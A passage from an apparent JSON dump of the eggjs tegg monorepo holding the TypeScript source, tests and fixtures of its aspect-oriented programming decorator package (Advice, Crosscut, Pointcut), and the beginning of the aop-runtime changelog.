    "content": "import assert from 'node:assert';\n\nimport type { EggProtoImplClass, IAdvice, AdviceInfo } from '@eggjs/tegg-types';\n\nimport { CrosscutInfoUtil } from './util/index.ts';\n\nexport class CrosscutAdviceFactory {\n  private readonly crosscutAdviceClazzList: Array<EggProtoImplClass<IAdvice>> = [];\n\n  registerCrossAdviceClazz(clazz: EggProtoImplClass<IAdvice>): void {\n    assert(CrosscutInfoUtil.isCrosscutAdvice(clazz), `clazz ${clazz.name} is not crosscut advice`);\n    this.crosscutAdviceClazzList.push(clazz);\n  }\n\n  getAdvice(clazz: EggProtoImplClass, method: PropertyKey): Array<AdviceInfo> {\n    const result: Array<AdviceInfo> = [];\n    for (const crosscutAdviceClazz of this.crosscutAdviceClazzList) {\n      const crosscutInfoList = CrosscutInfoUtil.getCrosscutInfoList(crosscutAdviceClazz);\n      for (const crosscutInfo of crosscutInfoList) {\n        if (crosscutInfo.pointcutInfo.match(clazz, method)) {\n          result.push(crosscutInfo.adviceInfo);\n        }\n      }\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/decorator/Advice.ts",
    "content": "import { Prototype, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel, ObjectInitType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, IAdvice, PrototypeParams } from '@eggjs/tegg-types';\n\nimport { AdviceInfoUtil } from '../util/index.ts';\n\nconst defaultAdviceParam = {\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n};\n\nexport function Advice(param?: PrototypeParams) {\n  return function (constructor: EggProtoImplClass<IAdvice>): void {\n    AdviceInfoUtil.setIsAdvice(true, constructor);\n    const func = Prototype({\n      ...defaultAdviceParam,\n      ...param,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n  };\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/decorator/Crosscut.ts",
    "content": "import { PointcutType } from '@eggjs/tegg-types';\nimport type { CrosscutInfo, EggProtoImplClass, IAdvice, CrosscutParam, CrosscutOptions } from '@eggjs/tegg-types';\n\nimport { ClassPointInfo, CustomPointInfo, NamePointInfo } from '../model/index.ts';\nimport { CrosscutInfoUtil } from '../util/index.ts';\n\nconst defaultCrossOptions = {\n  order: 100,\n};\n\nexport function Crosscut(param: CrosscutParam, options?: CrosscutOptions) {\n  return function (constructor: EggProtoImplClass<IAdvice>): void {\n    let crosscutInfo: CrosscutInfo;\n    if (param.type === PointcutType.CLASS) {\n      crosscutInfo = {\n        pointcutInfo: new ClassPointInfo(param.clazz, param.methodName),\n        adviceInfo: {\n          clazz: constructor,\n          order: options?.order ?? defaultCrossOptions.order,\n          adviceParams: options?.adviceParams,\n        },\n      };\n    } else if (param.type === PointcutType.NAME) {\n      crosscutInfo = {\n        pointcutInfo: new NamePointInfo(param.className, param.methodName),\n        adviceInfo: {\n          clazz: constructor,\n          order: options?.order ?? defaultCrossOptions.order,\n          adviceParams: options?.adviceParams,\n        },\n      };\n    } else {\n      crosscutInfo = {\n        pointcutInfo: new CustomPointInfo(param.callback),\n        adviceInfo: {\n          clazz: constructor,\n          order: options?.order ?? defaultCrossOptions.order,\n          adviceParams: options?.adviceParams,\n        },\n      };\n    }\n    CrosscutInfoUtil.setIsCrosscutAdvice(true, constructor);\n    CrosscutInfoUtil.addCrosscutInfo(crosscutInfo, constructor);\n  };\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/decorator/Pointcut.ts",
    "content": "import assert from 'node:assert';\n\nimport type { EggProtoImplClass, IAdvice, PointcutOptions } from '@eggjs/tegg-types';\n\nimport { PointcutAdviceInfoUtil, AdviceInfoUtil } from '../util/index.ts';\n\nconst defaultPointcutOptions = {\n  order: 1000,\n};\n\nexport function Pointcut<T extends object, K = any>(\n  adviceClazz: EggProtoImplClass<IAdvice<T, K>>,\n  options?: PointcutOptions<K>,\n) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    assert(AdviceInfoUtil.isAdvice(adviceClazz), `class ${adviceClazz} has no @Advice decorator`);\n    const targetClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    PointcutAdviceInfoUtil.addPointcutAdviceInfo(\n      {\n        clazz: adviceClazz,\n        order: options?.order ?? defaultPointcutOptions.order,\n        adviceParams: options?.adviceParams,\n      },\n      targetClazz,\n      methodName,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/decorator/index.ts",
    "content": "export * from './Advice.ts';\nexport * from './Crosscut.ts';\nexport * from './Pointcut.ts';\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/aop';\n\nexport * from './decorator/index.ts';\nexport * from './model/index.ts';\nexport * from './util/index.ts';\nexport * from './AspectMetaBuilder.ts';\nexport * from './CrosscutAdviceFactory.ts';\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/model/Aspect.ts",
    "content": "import type { AdviceInfo, AspectAdvice, EggProtoImplClass, IAdvice } from '@eggjs/tegg-types';\n\nexport class Aspect {\n  readonly clazz: EggProtoImplClass;\n  readonly method: PropertyKey;\n  readonly adviceList: readonly AspectAdvice[];\n\n  constructor(clazz: EggProtoImplClass, method: PropertyKey, adviceList: readonly AspectAdvice[]) {\n    this.clazz = clazz;\n    this.method = method;\n    this.adviceList = adviceList;\n  }\n}\n\nexport class AspectBuilder {\n  readonly clazz: EggProtoImplClass;\n  readonly method: PropertyKey;\n  private readonly adviceList: Array<AdviceInfo>;\n\n  constructor(clazz: EggProtoImplClass, method: PropertyKey) {\n    this.clazz = clazz;\n    this.method = method;\n    this.adviceList = [];\n  }\n\n  addAdvice(adviceInfo: AdviceInfo): void {\n    this.adviceList.push(adviceInfo);\n  }\n\n  build(): Aspect {\n    this.adviceList.sort((a, b) => a.order - b.order);\n    const aspectAdviceList = this.adviceList.map((t, i) => {\n      return {\n        clazz: t.clazz,\n        name: this.adviceName(t.clazz, i),\n        adviceParams: t.adviceParams,\n      };\n    });\n    return new Aspect(this.clazz, this.method, aspectAdviceList);\n  }\n\n  private adviceName(advice: EggProtoImplClass<IAdvice>, index: number) {\n    return `${this.clazz.name}#${String(this.method)}#${advice.name}#${index}`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/model/PointcutInfo.ts",
    "content": "import { PointcutType } from '@eggjs/tegg-types';\nimport type { CustomPointcutCallback, EggProtoImplClass, PointcutInfo } from '@eggjs/tegg-types';\n\nexport class ClassPointInfo implements PointcutInfo {\n  readonly type: PointcutType = PointcutType.CLASS;\n  readonly clazz: EggProtoImplClass;\n  readonly method: PropertyKey;\n\n  constructor(clazz: EggProtoImplClass, method: PropertyKey) {\n    this.clazz = clazz;\n    this.method = method;\n  }\n\n  match(clazz: EggProtoImplClass, method: PropertyKey): boolean {\n    return (\n      // self class\n      (this.clazz === clazz ||\n        // inherit case\n        clazz.prototype instanceof this.clazz) &&\n      this.method === method\n    );\n  }\n}\n\nexport class NamePointInfo implements PointcutInfo {\n  readonly type: PointcutType = PointcutType.NAME;\n  readonly className: RegExp;\n  readonly methodName: RegExp;\n\n  constructor(className: RegExp, methodName: RegExp) {\n    this.className = className;\n    this.methodName = methodName;\n  }\n\n  match(clazz: EggProtoImplClass, method: PropertyKey): boolean {\n    return this.className.test(clazz.name) && this.methodName.test(String(method));\n  }\n}\n\nexport class CustomPointInfo implements PointcutInfo {\n  readonly type: PointcutType = PointcutType.CUSTOM;\n  readonly cb: CustomPointcutCallback;\n\n  constructor(cb: CustomPointcutCallback) {\n    this.cb = cb;\n  }\n\n  match(clazz: EggProtoImplClass, method: PropertyKey): boolean {\n    return this.cb(clazz, method);\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/model/index.ts",
    "content": "export * from './Aspect.ts';\nexport * from './PointcutInfo.ts';\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/util/AdviceInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass, IAdvice } from '@eggjs/tegg-types';\n\nexport const IS_ADVICE: symbol = Symbol.for('EggPrototype#isAdvice');\n\nexport class AdviceInfoUtil {\n  static setIsAdvice(isAdvice: boolean, clazz: EggProtoImplClass<IAdvice>): void {\n    MetadataUtil.defineMetaData(IS_ADVICE, isAdvice, clazz);\n  }\n\n  static isAdvice(clazz: EggProtoImplClass<IAdvice>): boolean {\n    return !!MetadataUtil.getMetaData(IS_ADVICE, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/util/AspectInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { ASPECT_LIST } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, IAdvice } from '@eggjs/tegg-types';\n\nimport { Aspect } from '../model/index.ts';\n\nexport class AspectInfoUtil {\n  static setAspectList(aspectList: Array<Aspect>, clazz: EggProtoImplClass<IAdvice>): void {\n    MetadataUtil.defineMetaData(ASPECT_LIST, aspectList, clazz);\n  }\n\n  static getAspectList(clazz: EggProtoImplClass<IAdvice>): Array<Aspect> {\n    return MetadataUtil.getMetaData(ASPECT_LIST, clazz) || [];\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/util/CrosscutInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { IS_CROSSCUT_ADVICE, CROSSCUT_INFO_LIST } from '@eggjs/tegg-types';\nimport type { CrosscutInfo, EggProtoImplClass, IAdvice } from '@eggjs/tegg-types';\n\nexport class CrosscutInfoUtil {\n  static setIsCrosscutAdvice(isCrosscutAdvice: boolean, clazz: EggProtoImplClass<IAdvice>): void {\n    MetadataUtil.defineMetaData(IS_CROSSCUT_ADVICE, isCrosscutAdvice, clazz);\n  }\n\n  static isCrosscutAdvice(clazz: EggProtoImplClass<IAdvice>): boolean {\n    return !!MetadataUtil.getMetaData(IS_CROSSCUT_ADVICE, clazz);\n  }\n\n  static addCrosscutInfo(crosscutInfo: CrosscutInfo, clazz: EggProtoImplClass<IAdvice>): void {\n    const crosscutInfoList = MetadataUtil.initOwnArrayMetaData<CrosscutInfo>(CROSSCUT_INFO_LIST, clazz, []);\n    crosscutInfoList.push(crosscutInfo);\n  }\n\n  static getCrosscutInfoList(clazz: EggProtoImplClass<IAdvice>): Array<CrosscutInfo> {\n    return MetadataUtil.getArrayMetaData(CROSSCUT_INFO_LIST, clazz) || [];\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/util/PointcutAdviceInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { POINTCUT_ADVICE_INFO_LIAR } from '@eggjs/tegg-types';\nimport type { AdviceInfo, EggProtoImplClass } from '@eggjs/tegg-types';\n\ninterface PointcutAdviceInfo {\n  method: PropertyKey;\n  adviceInfo: AdviceInfo;\n}\n\nexport class PointcutAdviceInfoUtil {\n  static addPointcutAdviceInfo(adviceInfo: AdviceInfo, clazz: EggProtoImplClass, method: PropertyKey): void {\n    const pointcutAdviceInfoList = MetadataUtil.initOwnArrayMetaData<PointcutAdviceInfo>(\n      POINTCUT_ADVICE_INFO_LIAR,\n      clazz,\n      [],\n    );\n    // FIXME: parent/child should has correct order\n    pointcutAdviceInfoList.unshift({\n      method,\n      adviceInfo,\n    });\n  }\n\n  static getPointcutAdviceInfoList(clazz: EggProtoImplClass, method: PropertyKey): Array<AdviceInfo> {\n    const pointcutAdviceInfoList: Array<PointcutAdviceInfo> | undefined =\n      MetadataUtil.getMetaData(POINTCUT_ADVICE_INFO_LIAR, clazz) || [];\n    return pointcutAdviceInfoList.filter((t) => t.method === method).map((t) => t.adviceInfo);\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/util/index.ts",
    "content": "export * from './AdviceInfoUtil.ts';\nexport * from './AspectInfoUtil.ts';\nexport * from './CrosscutInfoUtil.ts';\nexport * from './PointcutAdviceInfoUtil.ts';\n"
  },
  {
    "path": "tegg/core/aop-decorator/test/AspectMetaBuilder.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { describe, it } from 'vitest';\n\nimport { CrosscutAdviceFactory, AspectMetaBuilder } from '../src/index.ts';\nimport {\n  CrosscutClassAdviceExample,\n  CrosscutCustomAdviceExample,\n  CrosscutExample,\n  CrosscutNameAdviceExample,\n} from './fixtures/CrosscutExample.ts';\nimport {\n  ChildExample,\n  CrosscutNoOverwriteParentExample,\n  CrosscutOverwriteChildExample,\n  CrosscutOverwriteParentExample,\n  ParentExample,\n  PointcutAdviceNoOverwriteParentExample,\n  PointcutAdviceOverwriteChildExample,\n  PointcutAdviceOverwriteParentExample,\n} from './fixtures/InheritExample.ts';\nimport {\n  GetterExample,\n  PointcutAdviceAfterReturnExample,\n  PointcutAdviceBeforeCallExample,\n  PointcutExample,\n} from './fixtures/PointcutExample.ts';\n\ndescribe('test/AspectMetaBuild.test.ts', () => {\n  const crosscutAdviceFactory = new CrosscutAdviceFactory();\n  crosscutAdviceFactory.registerCrossAdviceClazz(CrosscutClassAdviceExample);\n  crosscutAdviceFactory.registerCrossAdviceClazz(CrosscutNameAdviceExample);\n  crosscutAdviceFactory.registerCrossAdviceClazz(CrosscutCustomAdviceExample);\n  crosscutAdviceFactory.registerCrossAdviceClazz(CrosscutOverwriteParentExample);\n  crosscutAdviceFactory.registerCrossAdviceClazz(CrosscutOverwriteChildExample);\n  crosscutAdviceFactory.registerCrossAdviceClazz(CrosscutNoOverwriteParentExample);\n\n  describe('Pointcut', () => {\n    it('should work', () => {\n      const builder = new AspectMetaBuilder(PointcutExample, {\n        crosscutAdviceFactory,\n      });\n      const aspects = builder.build();\n      assert(aspects.length === 1);\n      const aspect = aspects[0];\n      assert(aspect.clazz === PointcutExample);\n      assert(aspect.method === 'hello');\n      const advices = aspect.adviceList;\n\n      assert.deepStrictEqual(advices, [\n        {\n          name: 'PointcutExample#hello#PointcutAdviceBeforeCallExample#0',\n          clazz: PointcutAdviceBeforeCallExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'PointcutExample#hello#PointcutAdviceAfterReturnExample#1',\n          clazz: PointcutAdviceAfterReturnExample,\n          adviceParams: undefined,\n        },\n      ]);\n    });\n  });\n\n  describe('Crosscut', () => {\n    it('should work', () => {\n      const builder = new AspectMetaBuilder(CrosscutExample, {\n        crosscutAdviceFactory,\n      });\n      const aspects = builder.build();\n      assert(aspects.length === 1);\n      const aspect = aspects[0];\n      assert(aspect.clazz === CrosscutExample);\n      assert(aspect.method === 'hello');\n      const advices = aspect.adviceList;\n      assert.deepStrictEqual(advices, [\n        {\n          name: 'CrosscutExample#hello#CrosscutClassAdviceExample#0',\n          clazz: CrosscutClassAdviceExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'CrosscutExample#hello#CrosscutNameAdviceExample#1',\n          clazz: CrosscutNameAdviceExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'CrosscutExample#hello#CrosscutCustomAdviceExample#2',\n          clazz: CrosscutCustomAdviceExample,\n          adviceParams: undefined,\n        },\n      ]);\n    });\n  });\n\n  describe('inherit', () => {\n    it('child should work', () => {\n      const builder = new AspectMetaBuilder(ChildExample, {\n        crosscutAdviceFactory,\n      });\n      const aspects = builder.build();\n      assert(aspects.length === 2);\n      const overwriteAspect = aspects.find((t) => t.method === 'overwriteMethod');\n      assert(overwriteAspect);\n      assert(overwriteAspect.clazz === ChildExample);\n      const overwriteAdvices = overwriteAspect.adviceList;\n\n      assert.deepStrictEqual(overwriteAdvices, [\n        {\n          name: 'ChildExample#overwriteMethod#CrosscutOverwriteParentExample#0',\n          clazz: CrosscutOverwriteParentExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'ChildExample#overwriteMethod#CrosscutOverwriteChildExample#1',\n          clazz: CrosscutOverwriteChildExample,\n          adviceParams: undefined,\n        },\n        // FIXME: parent/child should has correct order\n        {\n          name: 'ChildExample#overwriteMethod#PointcutAdviceOverwriteChildExample#2',\n          clazz: PointcutAdviceOverwriteChildExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'ChildExample#overwriteMethod#PointcutAdviceOverwriteParentExample#3',\n          clazz: PointcutAdviceOverwriteParentExample,\n          adviceParams: undefined,\n        },\n      ]);\n\n      const noOverwriteAspect = aspects.find((t) => t.method === 'noOverwriteMethod');\n      assert(noOverwriteAspect);\n      assert(noOverwriteAspect.clazz === ChildExample);\n      const noOverwriteAdvices = noOverwriteAspect.adviceList;\n      assert.deepStrictEqual(noOverwriteAdvices, [\n        {\n          name: 'ChildExample#noOverwriteMethod#CrosscutNoOverwriteParentExample#0',\n          clazz: CrosscutNoOverwriteParentExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'ChildExample#noOverwriteMethod#PointcutAdviceNoOverwriteParentExample#1',\n          clazz: PointcutAdviceNoOverwriteParentExample,\n          adviceParams: undefined,\n        },\n      ]);\n    });\n\n    it('parent should work', () => {\n      const builder = new AspectMetaBuilder(ParentExample, {\n        crosscutAdviceFactory,\n      });\n      const aspects = builder.build();\n      assert(aspects.length === 2);\n\n      const overwriteAspect = aspects.find((t) => t.method === 'overwriteMethod');\n      assert(overwriteAspect);\n      assert(overwriteAspect.clazz === ParentExample);\n      const overwriteAdvices = overwriteAspect.adviceList;\n      assert.deepStrictEqual(overwriteAdvices, [\n        {\n          name: 'ParentExample#overwriteMethod#CrosscutOverwriteParentExample#0',\n          clazz: CrosscutOverwriteParentExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'ParentExample#overwriteMethod#PointcutAdviceOverwriteParentExample#1',\n          clazz: PointcutAdviceOverwriteParentExample,\n          adviceParams: undefined,\n        },\n      ]);\n\n      const noOverwriteAspect = aspects.find((t) => t.method === 'noOverwriteMethod');\n      assert(noOverwriteAspect);\n      assert(noOverwriteAspect.clazz === ParentExample);\n      const noOverwriteAdvices = noOverwriteAspect.adviceList;\n      assert.deepStrictEqual(noOverwriteAdvices, [\n        {\n          name: 'ParentExample#noOverwriteMethod#CrosscutNoOverwriteParentExample#0',\n          clazz: CrosscutNoOverwriteParentExample,\n          adviceParams: undefined,\n        },\n        {\n          name: 'ParentExample#noOverwriteMethod#PointcutAdviceNoOverwriteParentExample#1',\n          clazz: PointcutAdviceNoOverwriteParentExample,\n          adviceParams: undefined,\n        },\n      ]);\n    });\n  });\n\n  it('should not access getter', () => {\n    const builder = new AspectMetaBuilder(GetterExample, {\n      crosscutAdviceFactory,\n    });\n    const aspects = builder.build();\n    assert.equal(aspects.length, 1);\n  });\n\n  it('should has right file path', () => {\n    const filePath = PrototypeUtil.getFilePath(CrosscutClassAdviceExample);\n    let expectedFilePath = require.resolve('./fixtures/CrosscutExample.ts');\n    if (process.platform === 'win32') {\n      expectedFilePath = expectedFilePath.replaceAll('\\\\', '/');\n    }\n    assert.equal(filePath, expectedFilePath);\n  });\n});\n"
  },
  {
    "path": "tegg/core/aop-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"ASPECT_LIST\": Symbol(EggPrototype#aspectList),\n  \"Advice\": [Function],\n  \"AdviceInfoUtil\": [Function],\n  \"Aspect\": [Function],\n  \"AspectBuilder\": [Function],\n  \"AspectInfoUtil\": [Function],\n  \"AspectMetaBuilder\": [Function],\n  \"CROSSCUT_INFO_LIST\": Symbol(EggPrototype#crosscutInfoList),\n  \"ClassPointInfo\": [Function],\n  \"Crosscut\": [Function],\n  \"CrosscutAdviceFactory\": [Function],\n  \"CrosscutInfoUtil\": [Function],\n  \"CustomPointInfo\": [Function],\n  \"IS_ADVICE\": Symbol(EggPrototype#isAdvice),\n  \"IS_CROSSCUT_ADVICE\": Symbol(EggPrototype#isCrosscutAdvice),\n  \"NamePointInfo\": [Function],\n  \"POINTCUT_ADVICE_INFO_LIAR\": Symbol(EggPrototype#pointcutAdviceInfoList),\n  \"Pointcut\": [Function],\n  \"PointcutAdviceInfoUtil\": [Function],\n  \"PointcutType\": {\n    \"CLASS\": \"CLASS\",\n    \"CUSTOM\": \"CUSTOM\",\n    \"NAME\": \"NAME\",\n  },\n}\n`;\n"
  },
  {
    "path": "tegg/core/aop-decorator/test/fixtures/CrosscutExample.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\nimport { PointcutType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, IAdvice } from '@eggjs/tegg-types';\n\nimport { Advice, Crosscut } from '../../src/index.js';\n\n@ContextProto()\nexport class CrosscutExample {\n  constructor() {}\n\n  hello(): void {\n    console.log('hello');\n  }\n}\n\n@Crosscut({\n  type: PointcutType.CLASS,\n  clazz: CrosscutExample,\n  methodName: 'hello',\n})\n@Advice()\nexport class CrosscutClassAdviceExample implements IAdvice {}\n\n@Crosscut({\n  type: PointcutType.NAME,\n  className: /crosscut.*/i,\n  methodName: /hello/,\n})\n@Advice()\nexport class CrosscutNameAdviceExample implements IAdvice {}\n\n@Crosscut({\n  type: PointcutType.CUSTOM,\n  callback: (clazz: EggProtoImplClass, method: PropertyKey) => {\n    return clazz === CrosscutExample && method === 'hello';\n  },\n})\n@Advice()\nexport class CrosscutCustomAdviceExample implements IAdvice {}\n"
  },
  {
    "path": "tegg/core/aop-decorator/test/fixtures/InheritExample.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\nimport { PointcutType } from '@eggjs/tegg-types';\nimport type { AdviceContext, IAdvice } from '@eggjs/tegg-types';\n\nimport { Advice, Pointcut, Crosscut } from '../../src/index.js';\n\n@Advice()\nexport class PointcutAdviceNoOverwriteParentExample implements IAdvice {\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n\n@Advice()\nexport class PointcutAdviceOverwriteParentExample implements IAdvice {\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n\n@Advice()\nexport class PointcutAdviceOverwriteChildExample implements IAdvice {\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n\n@ContextProto()\nexport class ParentExample {\n  @Pointcut(PointcutAdviceOverwriteParentExample)\n  overwriteMethod(): void {}\n\n  @Pointcut(PointcutAdviceNoOverwriteParentExample)\n  noOverwriteMethod(): void {}\n}\n\n@ContextProto()\nexport class ChildExample extends ParentExample {\n  @Pointcut(PointcutAdviceOverwriteChildExample)\n  overwriteMethod(): void {}\n}\n\n@Advice()\n@Crosscut({\n  type: PointcutType.CLASS,\n  clazz: ParentExample,\n  methodName: 'noOverwriteMethod',\n})\nexport class CrosscutNoOverwriteParentExample implements IAdvice {\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n\n@Advice()\n@Crosscut({\n  type: PointcutType.CLASS,\n  clazz: ParentExample,\n  methodName: 'overwriteMethod',\n})\nexport class CrosscutOverwriteParentExample implements IAdvice {\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n\n@Advice()\n@Crosscut({\n  type: PointcutType.CLASS,\n  clazz: ChildExample,\n  methodName: 'overwriteMethod',\n})\nexport class CrosscutOverwriteChildExample implements IAdvice {\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/test/fixtures/PointcutExample.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\nimport type { AdviceContext, IAdvice } from '@eggjs/tegg-types';\n\nimport { Advice, Pointcut } from '../../src/index.ts';\n\n@Advice()\nexport class PointcutAdviceBeforeCallExample implements IAdvice {\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n\n@Advice()\nexport class PointcutAdviceAfterReturnExample implements IAdvice {\n  async afterReturn(ctx: AdviceContext): Promise<void> {\n    console.log('ctx: ', ctx);\n  }\n}\n\n@ContextProto()\nexport class GetterExample {\n  get badGetter(): never {\n    throw new Error('never access getter');\n  }\n\n  @Pointcut(PointcutAdviceBeforeCallExample)\n  foo(): void {}\n}\n\n@ContextProto()\nexport class PointcutExample {\n  @Pointcut(PointcutAdviceBeforeCallExample)\n  @Pointcut(PointcutAdviceAfterReturnExample)\n  hello(): void {\n    console.log('hello');\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/aop-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/aop-runtime/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Features\n\n* add get/set for AdviceContext ([#297](https://github.com/eggjs/tegg/issues/297)) ([c299495](https://github.com/eggjs/tegg/commit/c299495b9407ec07b0a6e257d755d3d6f937d320))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n\n### Bug Fixes\n\n* fix aop in constructor inject type ([#247](https://github.com/eggjs/tegg/issues/247)) ([d169bb2](https://github.com/eggjs/tegg/commit/d169bb2fbbc86335315619866b4134a25296f552))\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n\n### Features\n\n* impl GlobalGraph build hook ([#246](https://github.com/eggjs/tegg/issues/246)) ([48fce45](https://github.com/eggjs/tegg/commit/48fce4512e99259ec26a9b032bfcc9f4046ad235))\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package 